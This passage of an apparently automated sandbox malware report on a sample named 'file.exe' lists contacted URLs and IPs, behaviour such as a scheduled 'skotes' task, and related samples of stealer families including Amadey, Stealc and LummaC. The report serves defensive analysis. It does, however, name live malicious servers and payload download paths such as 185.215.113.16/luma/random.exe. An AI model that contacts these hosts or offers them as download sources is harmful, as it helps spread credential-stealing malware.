https://c.msn.com/c.gif?rnd=1731886073046&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=eca44c2394654df2a0b53eefb05ac302&activityId=eca44c2394654df2a0b53eefb05ac302&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EA84F7D7B0A6436DB8001482ACA3DB50&MUID=27290C15251A6C5C3AE6192F24BB6D0A	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731886073043&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false		high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731886077191&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
http://185.215.113.16/mine/random.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2444192008.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, DAFCAAEG.0.dr, Web Data.9.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2444192008.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, DAFCAAEG.0.dr, Web Data.9.dr	false		high
http://185.215.113.16/luma/random.exe3J	skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://ntp.msn.com/0	000003.log3.9.dr	false		high
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
https://www.last.fm/	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.11.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpgL	skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/	manifest.json0.9.dr	false		high
https://www.youtube.com	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://curl.se/docs/hsts.html	11d5b5931e.exe, 0000001A.00000003.3430929718.0000000007372000.00000004.00001000.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.11.dr	false		high
https://www.instagram.com	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
http://185.215.113.16/luma/random.exeo%	skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive.google.com/	manifest.json0.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://www.messenger.com	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://www.deezer.com/	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
http://185.215.113.16/luma/random.exerlencoded	skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://web.telegram.org/	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	GCGHCBKFCFBFHIDHDBFC.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllx	file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
https://vibe.naver.com/today	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2444192008.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, DAFCAAEG.0.dr, Web Data.9.dr	false		high
http://185.215.113.16/ferences.SourceAumid	skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/luma/random.exe61395d	skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/68b591d6548ec281/nss3.dllk	file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://assets.msn.com	933c8d3d-799f-45d5-928b-10674160d8b8.tmp.11.dr	false		high
https://curl.se/docs/alt-svc.html	11d5b5931e.exe, 0000001A.00000003.3430929718.0000000007372000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ace-snapper-privately.ngrok-free.app/test/testFailed	11d5b5931e.exe, 0000001A.00000002.3491660282.0000000000E5A000.00000040.00000001.01000000.0000000F.sdmp, 11d5b5931e.exe, 0000001A.00000003.3430929718.0000000007372000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2444192008.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
https://excel.new?from=EdgeM365Shoreline	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	false		high
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2713835839.0000000000177000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.php6	file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
http://185.215.113.16/D	skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	false		high
http://31.41.244.11/files/random.exerlencodedj	skotes.exe, 00000018.00000002.3492180226.000000000078E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://msn.comXIDv10	Cookies.11.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 00000018.00000002.3492180226.000000000078E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403libgcc_s_dw2-1.dll__register_frame_info__der	11d5b5931e.exe, 0000001A.00000002.3491660282.0000000000E5A000.00000040.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
https://y.music.163.com/m/	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://bard.google.com/	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2745469454.0000000023153000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKFCFBFHIDHDBFC.0.dr	false		high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17	11d5b5931e.exe, 0000001A.00000003.3430929718.0000000007372000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exeqJ	skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://html4/loose.dtd	11d5b5931e.exe, 0000001A.00000002.3491660282.0000000000E5A000.00000040.00000001.01000000.0000000F.sdmp, 11d5b5931e.exe, 0000001A.00000003.3430929718.0000000007372000.00000004.00001000.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://web.whatsapp.com	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
http://185.215.113.16/luma/random.exea5	skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://m.kugou.com/	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://www.office.com	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://outlook.live.com/mail/0/	607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	false		high
https://ntp.msn.com/edge/ntp	000003.log3.9.dr, 2cc80dabc69f58b6_1.9.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.218.232.148	unknown	United States	24835	RAYA-ASEG	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.47.50.177	unknown	United States	16625	AKAMAI-ASUS	false
23.218.232.182	unknown	United States	24835	RAYA-ASEG	false
108.156.211.19	unknown	United States	16509	AMAZON-02US	false
62.76.234.151	home.fvtejj5vs.top	Russian Federation	50113	SUPERSERVERSDATACENTERRU	false
13.91.222.61	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.184.193	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.198.7.180	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.23.110	plus.l.google.com	United States	15169	GOOGLEUS	false
20.189.173.15	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.174	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
23.198.7.179	unknown	United States	20940	AKAMAI-ASN1EU	false
23.221.22.215	unknown	United States	20940	AKAMAI-ASN1EU	false
23.218.232.170	unknown	United States	24835	RAYA-ASEG	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557285
Start date and time:	2024-11-18 00:26:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@77/299@29/31
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.78, 64.233.184.84, 142.250.186.99, 34.104.35.123, 142.250.181.227, 142.250.184.234, 172.217.18.106, 142.250.74.202, 142.250.186.138, 142.250.185.138, 142.250.185.170, 172.217.18.10, 142.250.186.106, 172.217.16.202, 142.250.185.74, 216.58.212.170, 142.250.186.74, 172.217.16.138, 142.250.185.106, 216.58.212.138, 216.58.206.74, 216.58.206.42, 142.250.185.234, 142.250.181.234, 172.217.23.106, 142.250.186.170, 142.250.185.202, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 216.58.206.46, 13.107.6.158, 2.19.126.145, 2.19.126.152, 48.209.180.244, 108.141.37.120, 2.23.209.51, 2.23.209.3, 2.23.209.52, 2.23.209.13, 2.23.209.26, 2.23.209.45, 2.23.209.59, 2.23.209.24, 2.23.209.20, 2.16.164.74, 2.16.164.32, 2.23.209.179, 2.23.209.133, 2.23.209.149, 2.23.209.187, 2.23.209.140, 2.23.209.182, 2.23.209.130, 2.23.209.189, 13.74.129.1, 204.79.197.237, 13.107.21.237, 2.19.126.157, 2.19.126.151, 2.16.164.65, 2.16.164.27, 199.232.214.172, 142.251.186.94, 142.250.11
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, prod-agic-ne-6.northeurope.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, prod-agic-we-5.westeurope.cloudapp.azure.com, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.g
Execution Graph export aborted for target 11d5b5931e.exe, PID 4788 because there are no executed function
Execution Graph export aborted for target DocumentsJEGDGIIJJE.exe, PID 9112 because it is empty
Execution Graph export aborted for target skotes.exe, PID 8568 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
00:28:07	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
18:27:49	API Interceptor	84x Sleep call for process: file.exe modified
18:29:02	API Interceptor	190x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
23.218.232.148	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	ADZP 20 Complex.exe	Get hash	malicious	Babadeda, Wiper	Browse	13.107.246.45
	ADZP 20 Complex.bat	Get hash	malicious	Wiper	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
play.google.com	https://docs.google.com/drawings/d/14vwfD0EyLvfyX8ls6jwkhRJmCoYW07SUFnqprqeXkTI/preview	Get hash	malicious	Unknown	Browse	142.250.185.78
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	142.250.185.174
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.217.16.206
	file.exe	Get hash	malicious	Cryptbot	Browse	142.250.186.174
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	142.250.185.174
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	142.250.186.174
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.186.174
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.185.174
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.186.78
	file.exe	Get hash	malicious	Cryptbot	Browse	142.250.185.174

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	20.189.173.23
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	20.189.173.23
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
